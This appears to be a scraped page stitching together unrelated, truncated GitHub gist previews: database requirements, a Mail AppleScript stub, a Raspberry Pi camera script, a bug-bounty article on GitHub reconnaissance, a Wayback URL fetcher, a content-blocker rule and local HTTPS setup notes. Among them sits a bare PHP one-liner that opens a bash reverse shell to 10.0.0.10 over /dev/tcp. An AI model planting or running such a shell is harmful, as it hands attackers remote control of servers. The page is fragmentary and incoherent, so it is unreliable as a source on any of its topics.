What would you need:
- Postgres 9.3, 9.4, 9.5, 9.6 or 10 with cstore_fdw extention (https://github.com/citusdata/cstore_fdw)
- Docker 1.12.6 or higher
- Docker Compose
- Linux machine
Hardware requirements
tell application "Mail" | |
set theFrom to "" | |
set theTos to {} | |
set theCcs to {} | |
set theBccs to {} | |
set theSubject to "" | |
set theContent to "" | |
set theSignature to "" |
import picamera, json, requests, os, random | |
from time import sleep | |
from PIL import Image, ImageDraw | |
#capture an image | |
camera = picamera.PiCamera() | |
camera.capture('image1.jpg') | |
print('caputred image') | |
#make a prediction on the image |
What would you need:
Hardware requirements
GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.
You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.
$ python githubcloner.py --org organization -o /tmp/output
import requests | |
import sys | |
import json | |
def waybackurls(host, with_subs): | |
if with_subs: | |
url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host | |
else: | |
url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host |
[ | |
{ | |
"action": { | |
"type": "block" | |
}, | |
"trigger": { | |
"url-filter": ".*", | |
"resource-type": ["script"], | |
"load-type": ["third-party"], | |
"if-domain": ["imore.com"] |
<?php | |
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); |
These instructions will guide you through the process of setting up local, trusted websites on your own computer.
These instructions are intended to be used on macOS Sierra, but they have been known to work in El Capitan, Yosemite, Mavericks, and Mountain Lion.
NOTE: You may substitute the edit
command for nano
, vim
, or whatever the editor of your choice is. Personally, I forward the edit
command to Sublime Text:
alias edit="/Applications/Sublime\ Text.app/Contents/SharedSupport/bin/subl"
# 1) Create your private key (any password will do, we remove it below) | |
$ cd ~/.ssh | |
$ openssl genrsa -des3 -out server.orig.key 2048 | |
# 2) Remove the password | |
$ openssl rsa -in server.orig.key -out server.key |
Find all available devices arp -a
Locate Raspberry (b8:27:eb) in Network: Pi Finder